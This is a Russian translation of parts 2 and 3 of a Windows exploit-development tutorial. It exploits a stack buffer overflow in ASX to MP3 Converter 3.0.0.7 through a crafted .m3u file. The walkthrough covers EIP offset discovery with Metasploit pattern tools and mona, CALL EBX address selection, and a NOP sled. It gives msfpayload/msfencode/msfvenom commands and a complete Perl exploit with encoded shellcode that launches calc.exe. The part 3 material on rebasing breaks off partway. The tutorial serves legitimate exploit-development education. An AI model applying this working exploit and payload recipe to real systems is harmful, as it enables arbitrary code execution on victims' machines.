Поскольку мы (т.е. пользователь) имеем полный контроль над аргументом, который мы передаем программе, благодаря этому переполнению буфера на основе стека, мы также имеем полный контроль над регистром EIP и, как следствие, потоком выполнения самой программы. Это означает, что мы можем перенаправить программу на выполнение кода по нашему выбору - это простой пример уязвимости переполнения буфера в стеке. Давайте посмотрим на реальную программу с похожим недостатком переполнения буфера.

Поиск уязвимого приложения

Позвольте мне воспользоваться этой возможностью, чтобы представить базу данных эксплоитов (http://www.exploit-db.com/), архив эксплоитов, который во многих случаях также включает в себя соответствующее уязвимое программное обеспечение, доступное для загрузки. Это отличный ресурс для разработки эксплоитов, а также отличное место для размещения ваших собственных написанных эксплоитов. В следующем посте я расскажу, как найти свои собственные программные эксплоиты, но для этой демонстрации давайте воспользуемся уже существующим.

В этом примере я собираюсь сослаться на более раннюю версию эксплоита переполнения буфера POC для ASX to MP3 Converter (http://www.exploit-db.com/exploits/8407/), представленную в 2009 году Cyber-Zone. Взгляните на код, размещенный на Exploit-DB, и заметьте, что регистр EIP перезаписывается (41414141) после открытия файла списка воспроизведения музыки (.m3u), содержащего "http://" + 26,121 A. Теперь, поскольку это POC, на самом деле это не приводит к успешному выполнению кода (просто сбой программы). Также обратите внимание, что этот POC не указывает, какая версия программного обеспечения является уязвимой, и она была написана для французского Windows XP SP2, что означает, что мы можем увидеть разные результаты на альтернативной версии ОС. Имея все это в виду. Давайте скачаем ASX to MP3 Converter (http://asx-to-mp3-converter.en.softonic.com/) и установим его на Windows XP SP3.

Воспроизведение уязвимости

Теперь давайте приступим к созданию нашего эксплоита и повторения сбоя приложения из POC. Я собираюсь написать этот эксплоит на Perl.

6.png


Как вы можете видеть, скрипт Perl создает файл m3u, содержащий 50 000 символов A (41 - это "A" в шестнадцатеричном формате - см. http://www.asciitable.com/). Обратите внимание, что для этого эксплоита m3u "http:// ", включенный в исходный POC, не требуется, хотя для некоторых эксплоитов на базе m3u требуется аналогичное расположение/путь для работы. Вы можете изучить содержимое/заголовок действительного файла M3U, чтобы понять, почему это может быть. Также обратите внимание, что при использовании этого эксплоита путь к месту сохранения файла эксплоита m3u влияет на возможную перезапись регистр EIP, поэтому обязательно назовите файл эксплоита так же, как в моем примере (asx2mp3.m3u), и сохраните его в корне C:\, прежде чем открыть его в ASX to MP3 Converter.

Запустите сценарий perl (например, perl asx2mp3.pl), чтобы создать файл эксплоита m3u и сохранить его на диске C:\ целевой машины Windows. Затем откройте конвертер ASX to MP3 и подключите Immunity Debugger (не забудьте нажать F9, чтобы запустить программу).

7.png


Откройте файл эксплоита asx2mp3.m3u с помощью проигрывателя ASX to MP3 (перетащив его в приложение), и вы увидите немедленный сбой приложения и перезапись EIP в Immunity.

8.png


9.png


Управление перезаписью EIP (определение смещения)

Итак, мы подтвердили POC. Теперь, чтобы взять под контроль выполнение программы и сделать этот эксплоит функциональным, первое, что нам нужно сделать, это выяснить, в какой точке нашего буфера из 50 000 символов перезаписывается регистр EIP (также известно как смещение). Мы могли бы сделать это методом проб и ошибок, построив наш буфер из нескольких символов (например, по 10000 символов каждого из символов A, B, C, D и E) и посмотреть, где перезаписывается EIP, как показано ниже.

10.png


11.png


Регистр EIP был перезаписан буквами C, поэтому здесь вы можете сосредоточиться на символах от 20 001 до 30 000, разбивая их на меньшие блоки, пока не найдете точные 4 байта, которые перезаписывают регистр EIP. Несмотря на свою эффективность, этот метод может занять некоторое время, и есть более простой способ. Вместо нескольких попыток проб и ошибок мы можем найти точную перезапись регистра EIP, используя функции Metasploit pattern_create/pattern_offset (которые вы можете найти в Backtrack/Kali Linux).

root@kali:/# locate *pattern_*.rb
/usr/share/metasploit-framework/tools/pattern_create.rb
/usr/share/metasploit-framework/tools/pattern_offset.rb

Используя pattern_create, я создам шаблон длиной 50 000, вставлю его в мой скрипт и создам новый файл эксплоита m3u.

root@kali:/# /usr/share/metasploit-framework/tools/pattern_create.rb 50000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad...

12.png


Перезапустите ASX to MP3 в Immunity (Ctrl + F2), откройте вновь созданный файл m3u (из корня C:\) и изучите сбой в Immunity. На этот раз мы получаем перезапись регистра EIP. Он перезаписывается значением 48376D48.

13.png


Чтобы найти точное смещение перезаписи регистра EIP в нашем 50 000-символьном буфере, мы будем использовать pattern_offset.rb. Синтаксис выглядит следующим образом:

root@kali:/# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x48376D48 50000

14.png


В этом случае фактическое смещение является вторым в списке (26121), которое совпадает с исходным POC, опубликованным на Exploit-DB.com. Мы можем проверить это, изменив наш скрипт следующим образом:

15.png


В приведенном выше сценарии я добавил переменную $junk, которая содержит 26 121 символов A - наше смещение к регистру EIP. Следующие четыре байта должны перезаписывать регистр EIP точно (я выбрал четыре B), а оставшаяся часть буфера в 50 000 символов заполнена символами C. Повторное выполнение уязвимого приложения с обновленным файлом m3u подтверждает смещение к регистру EIP, и он перезаписывается 4 B, как и ожидалось. Вы также можете увидеть содержимое нашего буфера на панели стека и дампа памяти.

16.png


Давайте рассмотрим другой способ генерации паттерна и вычисления смещения, на этот раз с помощью плагина mona. После того, как плагин сохранен в папке PyCommands Immunity, запустите ASX to MP3 из отладчика.

Если вы хотите использовать mona для создания шаблона metasploit, вы можете набрать !mona pc 50,000, и она запишет шаблон в текстовый файл. Поскольку я пишу большую часть своих эксплоитов на отдельной машине Kali, я предпочитаю использовать pattern_create.rb. В любом случае, после того, как вы создали свой файл эксплоита m3u, содержащий шаблон в 50000 байт и вызвавший сбой приложения в Immunity, вы теперь можете использовать команду findmsp mona. С помощью этой команды (!mona findmsp) мона найдет перезапись EIP, а также другую очень полезную информацию, например, какие регистры содержат части вашего буфера. Если вы запустите команду!mona findmsp, ваш вывод должен выглядеть примерно так:

17.png


Обратите внимание, что она обнаружила только один шаблон EIP со смещением 5841, который может показаться знакомым, поскольку он был первым из трех совпадений шаблонов, найденных в сценарии Metasploit pattern_offset.rb, который я показал ранее. Это связано с тем, что готовая функция findmsp в mona.py ищет смещение с помощью функции python find() следующим образом:

offset = regpattern.find(hexpat))

Если вы знакомы с python, функция find возвращает только первое вхождение совпадения, а не все вхождения. В нашем случае нас на самом деле интересует второе совпадение для определения правильного смещения. Я обновил свою копию моны, чтобы использовать регулярные выражения (вместо функции find) и перебирать все вхождения совпадения с образцом, чтобы создать объединенную строку всех смещений. Если вам интересно, основной код следует (хотя я должен предупредить вас, что это хак, и требуются некоторые дополнительные изменения кода):

Python:
match in re.finditer(hexpat, regpattern):
    if offsetstr != "":
        divisor = " and "
    offsetstr = offsetstr + divisor + match.start( )

    ...

    [be sure to edit dbg.log to write offsetstr as %s]

Это приведет к следующему выводу:

18.png


Как видите, теперь он возвращает все экземпляры смещений регистра EIP.

Поиск места для нашего шеллкода.

Теперь, когда мы подтвердили, что можем контролировать перезапись регистра EIP (и результирующий поток выполнения), мы готовы изменить скрипт эксплоита, чтобы он выполнял код по нашему выбору. Чтобы перенаправить выполнение на что-то полезное, нам нужно определить, где будет находиться наш результирующий шеллкод, а затем указать регистр EIP в этом месте. Для этого нам нужно проверить регистры процессора и содержимое памяти во время сбоя приложения и перезаписи регистра EIP. Давайте вернемся к нашему выводу Immunity в режиме CPU:

Обратите внимание, что есть три регистра, которые в настоящее время указывают на какое-то место в нашем 50 000-байтовом буфере: регистр EBX, регистр ESP и регистрEBP.
19.png


Мы хотим использовать нашу перезапись EIP, чтобы указать приложению перенаправить в один из этих регистров и выполнить код, на который он указывает. Какой регистр мы выберем, зависит от нескольких вещей:

- Количество непрерывного кода в этом месте - иногда наш код эксплоита может быть искажен или усечен, так как он записывается приложением в память, поэтому мы должны убедиться, что у нас достаточно места для вставки используемого шеллкода (обычно не менее 500 байт) и что код не будет изменен каким-либо образом приложением.

- Наша способность перенаправлять в один из этих регистров - чтобы сообщить приложению о перенаправлении в регистр, который указывает на наш шеллкод, нам нужно перезаписать регистр EIP адресом существующей инструкции, такой как JMP или CALL. Помните, что регистр EIP перезаписывается указателем адреса на инструкцию, а не на настоящую инструкцию. Другими словами, мы не можем перезаписать регистр EIP с помощью кода операции, соответствующего переходу ESP (\xff\xe4). Вместо этого нам нужно перезаписать его адресом памяти, который указывает на такую инструкцию. Кроме того, мы должны убедиться, что используемый нами адрес не содержит нулевых байтов (\x00). Зачем? Поскольку нулевой байт действует как терминатор, это означает, что как только приложение получит нулевой байт, выполнение завершится, и все, что вы положите после перезаписи регистра EIP (в данном случае наш шеллкод), не будет выполнено. Есть некоторые исключения из правила нулевых байтов, но для этого первого примера, просто имейте в виду, что мы стараемся избегать адресов, содержащих нулевые байты. Если вас это смущает, не волнуйтесь, я покажу.

Итак, нам нужно указать приложению перенаправить или "перейти" в регистр, содержащий наш шеллкод. В этом случае нам повезло, потому что у нас есть три возможных регистра на выбор: регистр EBX, регистр ESP и регистр EBP.

Давайте проверим первые критерии для регистра EBX: количество непрерывного кода в этом месте. На панели "Регистры ЦП" щелкните правой кнопкой мыши адрес в регистре EBX и выберите "Follow in Dump".

20.png


На панели "Дамп памяти" (в левом нижнем углу) вы должны увидеть содержимое этого адреса и последующие адреса. Начните прокрутку вниз, обращая внимание на наличие разрывов в нашем вставленном буфере. В конце концов, вы должны увидеть разрыв, в моем случае это было сразу после адреса 000FCFCC.

21.png


Чтобы оценить, сколько непрерывного пространства шеллкода у нас есть в регистре EBX, мы можем вычесть начало регистр EBX (000FBBD4) из 000FCFCC. Это составляет 0x13F8 или 5112 байт. Так много свободного места, поэтому регистр EBX - хороший кандидат.

Мы можем продолжить это упражнение с двумя другими регистрами (ESP и EBP), чтобы определить, где больше всего места. Кроме того, мы можем использовать !mona findmsp, чтобы проверить доступное пространство. Помните, что смещения, отображаемые с помощью findmsp, соответствуют только первому вхождению шаблона, но обнаруженная длина должна быть точной и полезной для вас при определении доступного пространства для шеллкода. Запустите !mona findmsp и посмотрите, какие длины возвращаются для наших трех регистров.

22.png

Если мы используем доступное пространство, кажется, что регистр ESP имеет больше всего, поэтому давайте проверим регистр ESP по второму критерию: наша способность перенаправить в это местоположение с помощью перезаписи регистра EIP. В этом первом примере переполнения стека мы будем придерживаться простой инструкции перехода или вызова, которая приведет нас прямо к желаемому регистру. Для этого нам нужно найти инструкцию JMP ESP или CALL ESP.

Вот как вы можете сделать это в Immunity:

Щелкните правой кнопкой мыши на панели команд ЦП в представлении ЦП, выберите "Поиск" и нажмите "Все команды во всех модулях". Это будет искать во всех загруженных модулях (.exe и всех dll) нашу инструкцию jmp/call.

23.png


Введите желаемую инструкцию, в данном случае "jmp esp".

24.png


Как вы можете видеть на скриншоте ниже, мы получаем много результатов, но проблема в том, что единственными используемыми адресами (выделенными зеленым цветом) являются модули ОС (против приложений) - обратите внимание, что все они имеют вид "C: \WINDOWS" против "C:\Program Files\Mini-Stream\ASX to MP3 Converter… ”. Хотя эти DLL/модули, безусловно, могут использоваться в качестве допустимых инструкций jmp, если нет альтернатив, модули ОС могут различаться в зависимости от "разновидностей" Windows. Например, адрес DLL может отличаться в Windows SP2 и SP3 или между французским SP3 и английским SP3. Чтобы обеспечить лучшую переносимость кода эксплоита, вы должны по возможности выбирать инструкции из модулей приложения.


25.png


К сожалению, мы получаем аналогичные результаты (все модули ОС), если мы пытаемся найти "call esp". Примечание: есть и другие инструкции, которые мы могли бы попробовать, но для простоты я придерживаюсь простого прыжка или вызова этого примера.

26.png


Хотя ни один модуль приложения не содержал необходимых инструкций jmp/call для регистра ESP, нам достаточно повезло в этом примере, чтобы два других регистра указали на наш буфер, поэтому вместо использования модуля OS давайте попробуем другой регистр.

Попробуйте найти "call ebx". На этот раз результаты включают много адресов из модулей приложения.

27.png


Проблема с этими первыми результатами состоит в том, что все они начинаются с нулевого байта, который, как вы помните, будет действовать как ограничитель строки, предотвращая выполнение шеллкода, который следует за нашей перезаписью регистра EIP. Прокрутите вниз результаты, и вы увидите некоторые из них, которые не начинаются с нулевых байтов:

28.png


Давайте выберем одиниз них - я выберу 01C27228 (из MSA2Mcodec00.dll). Это значение, которое мы будем использовать для перезаписи регистра EIP. ВАЖНО!!: Ваши адреса "call ebx" будут отличаться от того, что вы видите на скриншоте выше, из-за того, что называется "перебазирование" адреса. Фактически, как вы увидите в части 3, есть веская причина выбирать модуль ОС вместо модуля приложения в этом случае, хотя я не хочу вдаваться в подробности до следующего поста. На данный момент вы можете пойти дальше и выбрать любой из адресов "call ebx" из модуля приложения, если он не содержит нулевых байтов. Просто отметьте, что если вы перезагрузите компьютер, эксплоит больше не будет работать, и вам придется вернуться и выбрать другой адрес "call ebx".

Итак, мы успешно повторили сбой приложения, проверили контроль над регистром EIP, проверили наше смещение к регистру EIP (26,121), у нас есть регистр (EBX), который указывает на непрерывную часть нашего буфера достаточной длины, и мы можем использовать адресс к инструкции CALL EBX, которую мы будем использовать для перезаписи регистра EIP. Давайте включим все это в наш код эксплоита.

29.png


Нахождение смещения нашего шеллкода

Прямо сейчас наш 50 000-байтовый буфер состоит из:


30.png

Регистр EBX указывает на раздел размером ~ 5,100 байт части $fill нашего буфера, но где? Нам нужно знать, чтобы мы могли стратегически разместить наш шеллкод. Мы можем использовать несколько разных методов для определения смещения шеллкода.

Приостановка выполнения программы для определения смещения шеллкода.

Посмотрите на следующий скриншот нашего эксплоита.

31.png


То, что я сделал, это построил часть $fill буфера с инструкциями INT (прерывания) (\xcc в шестнадцатеричном формате). Когда приложение приходит к инструкции INT, оно приостанавливает выполнение. Это очень полезно для использования с отладчиком, потому что оно позволяет нам точно видеть, где в нашем буфере мы приземляемся при выполнении CALL EBX. Давайте посмотрим, что происходит, когда мы открываем наш обновленный файл m3u, содержащий этот буфер:

32.png


Вы можете видеть, что, когда приложение достигает инструкции INT и делает паузу, регистр EBX содержит адрес 000FBBD4 и регистр EIP 000FBBD5 (текущая инструкция). Если мы последуем по последнему адресу на панели дампа памяти и прокручиваем вверх, пока не дойдем до начала нашего заполненного буфера, мы окажемся прямо возле адреса 000F729E. Если мы вычтем этот адрес из значения 000FBBD5 (начало EBX), мы получим значение 0x4937 или 18,743. Это приблизительная длина нашего буфера, который следует нашей инструкции CALL EBX, и мы собираемся поместить наш шеллкод после него. Почему я говорю приблизительный? Существует вероятность того, что часть нашего буфера была повреждена или удалена при записи в память, поэтому мы знаем, что у нас есть по крайней мере 18 743 байта части $fill нашего исходного буфера, которая должна предшествовать нашему шеллкоду. Я покажу вам, как получить более точную длину за мгновение.

Другой способ взглянуть на это - как далеко от начала нашего буфера мы должны разместить наш код эксплоита? Чтобы выяснить это, добавьте 18 743 к длине буфера, которой предшествует $fill (junk + EIP = 26 125), что составляет 44 868. Другими словами, по крайней мере, наш шеллкод должен начинаться после первых 44 686 байт нашего буфера (хотя мы хотим добавить немного больше, чтобы учесть изменения в памяти или возможное повреждение нашего буфера).

Использование прерываний для приостановки выполнения программы и проверки памяти/регистров является одним из быстрых способов определения размещения шеллкода в буфере, но существуют более точные методы.

Использование Metasploit pattern_offset.rb для определения смещения шелл-кода

Сценарий смещения паттерна Metasploit может точно сказать, куда указывает регистр EBX в нашем буфере на основе паттернов (который был создан с помощью скрипта pattern_create.rb). Напомним содержимое наших регистров во время сбоя/перезаписи регистра EIP:

33.png


Регистр EBX начинается с Fn9F. Используя ruby скрипт для поиска смещения, мы можем точно определить, где в буфере шаблонов находится это:

34.png


В нашем случае смещение составляет 44 877. Прежде чем я включу это в наш скрипт, позвольте мне показать вам, как получить тот же результат с плагином мона.

Использование моны для определения смещения шеллкода

Вы можете еще раз обратиться к результатам findmsp от моны, чтобы увидеть смещение нашего буфера в регистре EBX.

35.png


Опять же, с помощью стандартного плагина моны вы увидите только первое смещение, но этот снимок экрана отражает мой обновленный код, который подтверждает смещение 44877.

Теперь, когда мы знаем смещение нашего шелл-кода, давайте обновим наш буфер эксплоита соответствующим образом. Предполагая смещение в 44 877, первые 26 125 байтов будут заняты "ненужной" частью нашего буфера (26 121 байт) и нашей перезаписью регистра EIP (4 байта). Это оставляет 18,752 байта, которые должны предшествовать нашему шеллкоду. Давайте настроим наш скрипт, чтобы проверить это:

36.png


Здесь я добавил еще одну переменную "$nops", которая будет содержать часть нашего буфера после перезаписи регистра EIP и перед нашим шеллкодом, чтобы смоделировать смещение нашего шеллкода в 44 877. Я сделал длину $nops на единицу больше, чем нужно для предшествующего шеллкода, и включил в нее все инструкции INT, так что если выполнение программы попадет где-то в $nops, она немедленно остановится, и мы сможем увидеть, где мы оказались. Если смещение от pattern_offset/mona правильное, регистр call EBX должен попасть точно на последнюю инструкцию INT в части буфера $nops (18,752 + 1). Давайте запустим программу с нашим обновленным файлом эксплоита m3u и взглянем на Immunity:

37.png


Как вы можете видеть, мы приземлились именно в нашей последней инструкции INT, и следующая команда, которая должна быть выполнена, - это самый первый байт части $fill нашего буфера (скоро должен быть шеллкод), означающий, что смещение, обеспеченное pattern_offset/mona, было точным. Реальность такова, что мы не должны быть такими точными - наше первоначальное предполагаемое размещение могло бы нам помочь, потому что мы можем (и должны) всегда помещать безобидный буфер перед нашим шеллкодом, чтобы учесть отклонения в адресах памяти.

Для этого мы обычно используем так называемую инструкцию без операций (NOP), которая в архитектуре x86 представлена шестнадцатеричным значением 0x90. Объединение этих NOP вместе образует то, что обычно называют слайдом NOP или салазками NOP. Когда выполнение программы попадает в эту серию NOP, она "скользит" до тех пор, пока не достигнет набора исполняемых инструкций, который в нашем случае будет следующим шеллкодом.

При построении вашего буфера, как правило, хорошая идея, чтобы инструкция CALL / JMP приземлилась где-то ближе к началу/середине серии NOPS. Поскольку у нас есть большая часть для нашего шеллкода, мы предшествуем NOP sled длиной 18 852 (смещение 18 752 + дополнительные 100 для заполнения). Вся эта часть нашего буфера будет служить как смещением lkz шеллкода, так и нашим NOP sled.

Теперь наш буфер выглядит следующим образом (последняя часть зарезервирована для нашего шелл-кода):


38.png


Построение шеллкода

Последнее, что нам нужно, это какой-то настоящий шеллкод. Конечно, шеллкод, который мы выбираем, зависит от того, что мы хотим сделать для эксплоита: создать удаленную оболочку, добавить администратора и так далее. В нашем случае мы выберем что-то мягкое - откроем калькулятор Windows (calc.exe). Следующее, что мы должны рассмотреть, это наличие каких-либо символов, которые нарушат наш шелл-код. Например, по причинам, которые уже обсуждались, нулевые байты могут быть проблематичными в шеллкоде. Также проблематичными являются возврат каретки, перевод строки и другие разделители строк. Также могут быть случаи, когда само приложение не может обрабатывать определенные символы или изменяет значение (преобразовывает/кодирует и так далее) определенных символов. В результате создание шеллкода иногда может быть методом проб и ошибок. К счастью, в этом случае создание шеллкода довольно просто. Вы можете скачать/скопировать шеллкод из Exploit DB, но для этого примера я покажу вам, как создать некоторую полезную нагрузку с помощью Metasploit.

Metasploit имеет функцию генерации шеллкода из командной строки, которая называется msfpayload. Вы можете использовать ключ -l для просмотра полезных данных, специфичных для Windows:

msfpayload -l | grep windows

В нашем случае мы будем использовать windows/exec, который позволяет выполнять произвольные команды, подходящие для вызова calc.exe. Чтобы использовать msfpayload, вам нужно знать параметры, связанные с каждой полезной нагрузкой, которую вы можете получить, добавив имя полезной нагрузки с большой буквы.

С учетом доступных параметров синтаксис для полезной нагрузки выглядит следующим образом:

msfpayload windows/exec CMD=calc.exe R

Если вы проверили опции с параметром "O", вы могли заметить еще одну дополнительную опцию "EXITFUNC". Этот параметр управляет тем, как завершится шелл-код. Я не указал значение для EXITFUNC, которое означает, что будет использоваться значение по умолчанию "thread", которое завершает только связанный поток. Другими вариантами выхода полезной нагрузки являются SEH (пусть обработчик исключений управляет выходом) и Process (уничтожение всего процесса, а не только потока). Выбор EXITFUNC может сильно повлиять на поведение эксплоита, когда он завершается, поэтому вам может потребоваться экспериментировать. Например, если вы внедряете эксплоит в родительский процесс, который должен продолжать выполняться после завершения эксплоита, вы можете избежать процесса и вместо этого придерживаться потока. Аналогичным образом, выбор SEH в качестве опции, если приложение не реализует какую-либо обработку ошибок, может привести к зависанию процесса при выходе ("Приложение X столкнулось с проблемой и должно быть закрыто…").

Параметр CMD не требует пояснений, а "R" обозначает "Raw", который выводит наш шелл-код в виде необработанного байтового кода. Однако нам нужно закодировать шелл-код, прежде чем мы включим его в наш скрипт. Для этого мы можем направить наш вывод msfpayload в функцию msfencode следующим образом:

msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/shikata_ga_nai -c 1 -t perl -b '\x00\x0a\x0d\xff'

Ключ -e сообщает msfencode, какой кодер использовать, ключ -c указывает, сколько итераций нужно выполнить, ключ -t указывает формат вывода, а ключ -b сообщает кодировщику, какие "плохие" символы следует исключить. Эта команда приводит к полезной нагрузке в 227 байт. Я сохраняю подробное обсуждение кодировки для будущих постов. Пока просто помните, что выбор кодера может зависеть от того, как приложение кодирует пользовательский ввод (например, Unicode), а также может пригодиться с некоторыми методами уклонения от антивирусов.

В качестве примечания вы также можете добиться того же с модулем msfvenom следующим образом:

msfvenom -p windows/exec CMD=calc.exe -f perl -b '\x00\xff\x0a\x0d'

Какой из них вы используете (msfpayload с msfencode или msfvenom) - это вопрос предпочтений.

Вы можете найти больше информации об использовании msfpayload здесь: http://www.offensive-security.com/metasploit-unleashed/Msfpayload

Собираем все вместе

Теперь, когда у нас есть 227-байтовый шелл-код, наш последний буфер выглядит следующим образом (обратите внимание, что у нас есть еще 4 796 байтов, если мы хотим использовать другой, большой шеллкод).


39.png

Вот наш последний код эксплоита:


Perl:
#########################################################################
# Exploit Title: ASX to MP3 Converter 3.0.0.7 (.m3u) Stack-Based BOF
# Date: 12-13-2013
# Exploit Author: Mike Czumak (T_v3rn1x) — @SecuritySift
# Vulnerable Software/Version: ASX to MP3 Converter 3.0.0.7
# Link: http://www.mini-stream.net/asx-to-mp3-converter/download/
# Tested On: Windows XP SP3
# Credits:
# — Original POC by Cyber-Zone: http://www.exploit-db.com/exploits/8407/
#########################################################################

my $buffsize = 50000; # sets buffer size for consistent sized payload
my $junk =\x41” x 26121; # offset to EIP overwrite
my $eip = pack(‘V’, 0x01C27228); # call ebp (MSA2Mcodec00.dll) – YOURS WILL DIFFER!
my $nops =\x90” x 18752;

# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -c 1 -t perl -b ‘\x00\x0a\x0d\xff’
# size 227
my $shell =\xba\x8d\xf5\x02\x51\xda\xc0\xd9\x74\x24\xf4\x5b\x2b\xc9” .\xb1\x33\x31\x53\x12\x03\x53\x12\x83\x66\x09\xe0\xa4\x84” .\x1a\x6c\x46\x74\xdb\x0f\xce\x91\xea\x1d\xb4\xd2\x5f\x92” .\xbe\xb6\x53\x59\x92\x22\xe7\x2f\x3b\x45\x40\x85\x1d\x68” .\x51\x2b\xa2\x26\x91\x2d\x5e\x34\xc6\x8d\x5f\xf7\x1b\xcf” .\x98\xe5\xd4\x9d\x71\x62\x46\x32\xf5\x36\x5b\x33\xd9\x3d” .\xe3\x4b\x5c\x81\x90\xe1\x5f\xd1\x09\x7d\x17\xc9\x22\xd9” .\x88\xe8\xe7\x39\xf4\xa3\x8c\x8a\x8e\x32\x45\xc3\x6f\x05” .\xa9\x88\x51\xaa\x24\xd0\x96\x0c\xd7\xa7\xec\x6f\x6a\xb0” .\x36\x12\xb0\x35\xab\xb4\x33\xed\x0f\x45\x97\x68\xdb\x49” .\x5c\xfe\x83\x4d\x63\xd3\xbf\x69\xe8\xd2\x6f\xf8\xaa\xf0” .\xab\xa1\x69\x98\xea\x0f\xdf\xa5\xed\xf7\x80\x03\x65\x15” .\xd4\x32\x24\x73\x2b\xb6\x52\x3a\x2b\xc8\x5c\x6c\x44\xf9” .\xd7\xe3\x13\x06\x32\x40\xeb\x4c\x1f\xe0\x64\x09\xf5\xb1” .\xe8\xaa\x23\xf5\x14\x29\xc6\x85\xe2\x31\xa3\x80\xaf\xf5” .\x5f\xf8\xa0\x93\x5f\xaf\xc1\xb1\x03\x2e\x52\x59\xea\xd5” .\xd2\xf8\xf2”;

my $sploit = $junk.$eip.$nops.$shell; # sploit portion of buffer
my $fill =\x43” x ($buffsize(length($sploit))); # filler for consistency
my $buffer = $sploit.$fill; # build final buffer

# write the exploit buffer to file
my $file = “asx2mp3.m3u”;
open(FILE,>$file);
print FILE $buffer;
close(FILE);
print “Exploit file created [. $file .]\n”;
print “Buffer size:. length($buffer) .\n”;

Создайте окончательный файл .m3u и откройте его с помощью ASX To MP3 Converter, и вы должны увидеть это:

40.png


Если calc не открывается, убедитесь, что вы запускаете файл .m3u из корня C:\ и что вы назвали файл asx2mp3.m3u. Помните, что этот эксплоит далек от совершенства из-за влияния пути файла на успешное выполнение и использования прикладного модуля (DLL), который реализует перебазирование адресов. Мы рассмотрим, как решить обе эти проблемы в части 3.

Заключение

Вот и все для части 2 в этой серии. Надеемся, что теперь вы понимаете основы переполнения буфера на основе стека, включая причины его возникновения, его проявление в программном приложении и использование его для принудительного выполнения произвольного кода.

В части 3 я продолжу обсуждение переполнений на основе стека и способов преодоления основных проблем, таких как динамические смещения регистра EIP и более сложные переходы к шеллкоду. Я снова начну с приложения ASX To MP3 и покажу, как можно преодолеть изменение EIP-смещения, вызванное включением пути к файлу в памяти.

Источник: http://www.securitysift.com/windows-exploit-development-part-2-basics/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
 
Последнее редактирование:
Руководство по основам Windows Exploit Development. Часть 3. Изменение смещение и перебазирование модулей.

Обзор.

Во второй части мы создали базовый эксплоит с переполнением стека для ASX to MP3 Converter. Как я указывал в этом посте, сам эксплоит далек от совершенства. На успешную перезапись регистра EIP влияет путь к файлу m3u. Кроме того, хотя прикладные модули предпочтительнее при выборе адресов JMP/CALL, используемая нами библиотека приложения была перебазирована, что означает, что адрес нашей инструкции CALL EBX может быть изменен и поэтому ненадежен. В этой части мы более подробно рассмотрим эти проблемы и некоторые способы улучшения нашего исходного эксплоита, чтобы сделать его более надежным.

Изменение смещения регистра EIP

Одна из вещей, которые я выделил во второй части, заключалась в том, что эксплоит для ASX to MP3 Converter работал только в том случае, если файл m3u запускался из корня каталога C:\, поскольку смещение для перезаписи регистра EIP зависело от пути к файлу. Если вы хотите проверить, попробуйте переместить файл m3u из C:\ на рабочий стол и повторите попытку в отладчике. Обратитесь к скриншоту ниже - вы должны увидеть то же нарушение доступа и похожую запись в стеке.

1.png


Как видите, вместо того, чтобы перезаписать нашей инструкцией CALL EBX, регистр EIP теперь перезаписывается предыдущей "ненужной" частью нашей полезной нагрузки, состоящей из всех символов A (\ x41). Поскольку более длинный путь к файлу был включен в полезную нагрузку, он сдвинул все вправо и изменил наше смещение на регистр EIP. Для POC эксплоита может не иметь большого значения (так как мы смогли заставить его работать по крайней мере из одного места). Однако если вы выполняете тест на проникновение или оценку безопасности приложения и вам необходимо присвоить рейтинг риска данной уязвимости, на него часто влияет вероятность того, как эксплоит может быть реализован. Очевидно, что эксплоит, который может быть вызван только из одного места в файловой системе, имеет меньшую вероятность реализации, чем тот, который может быть использован из разных мест. Чтобы решить эту проблему, мы можем изменить эксплоит, включив в него несколько потенциальных смещений, увеличивая тем самым вероятность его выполнения.

Если вы помните, наш завершенный буфер эксплоита выглядел так:

2.png


Смещение к регистру EIP (когда файл m3u находился в корне C:\) составляло 26 121 байт. Как мы доказали, переместив наш файл m3u на рабочий стол, более длинный путь к файлу приводит к смещению перезаписи регистра EIP влево в ненужную часть буфера (все буквы A), уменьшая тем самым размер смещения. Хорошо, что если путь к файлу является единственным фактором, влияющим на смещение, мы должны точно предсказать, где новому смещению будет присвоен конкретный путь. Давайте выберем другое место для сохранения файла m3u, чтобы доказать эту теорию. Полный путь к файлу m3u, расположенному на моем рабочем столе, указан ниже (отличие от предыдущего пути выделено красным):

C:\Documents and Settings\Administrator\Desktop\asx2mp3.m3u.

Этот новый путь на 45 символов длиннее, что означает, что мы должны скорректировать смещение регистра EIP на -45, что даст нам новое смещение 26 076. Давайте обновим наш код эксплоита и посмотрим, работает ли он (измените только смещение в эксплоите, который вы создали в части 2, чтобы идти дальше).

Перебазированные прикладных модулей

Запуск эксплоита с обновленным смещением на моей перезагруженной машине с Windows дает следующий результат:

3.png


Регистр EIP явно был перезаписан моим выбранным адресом CALL EBX (0x01C27228 из библиотекуи MSA2Mcodec00.dll), но программа, похоже, не распознает его как действительный адрес. Здесь я столкнулся с другой проблемой, потому что в моем предыдущем коде эксплоита я использовал адрес из "перебазированного" модуля приложения (DLL). Не вдаваясь в подробности перебазирования, поймите, что у каждого модуля есть назначенный базовый адрес, по которому он должен загружаться (а компиляторы часто имеют адрес по умолчанию, который они назначают всем модулям). Если во время загрузки возникает конфликт адресов, ОС должна перебазировать один из модулей (очень дорого с точки зрения производительности). В качестве альтернативы разработчик приложения может заранее перебазировать модуль, пытаясь избежать таких конфликтов. В нашем случае, если MSA2Mcodec00.dll будет перебазирован, адресное пространство изменится, и в результате наш адрес инструкции CALL EBX изменится. К сожалению, это влияет на надежность успешного эксплоита даже больше, чем наша проблема смещения реги стра EIP. Здесь у нас есть два варианта: 1) посмотреть, сможем ли мы найти другой модуль приложения, который не реализует перебазирование (предпочтительно), или 2) использовать модуль ОС. Помните из части 2, недостаток использования ОС DLL (против DLL приложения) заключается в том, что он снижает вероятность того, что эксплоит будет работать в разных версиях Windows. Тем не менее, эксплоит, который работает на каждой машине с Windows XP, лучше, чем эксплоит, который работает только на одной машине! Мы можем использовать плагин мона, чтобы более внимательно изучить загруженные модули и посмотреть, какие из них реализуют перебазирование, выполнив следующую команду:

!mona find -type instr -s "call ebx"

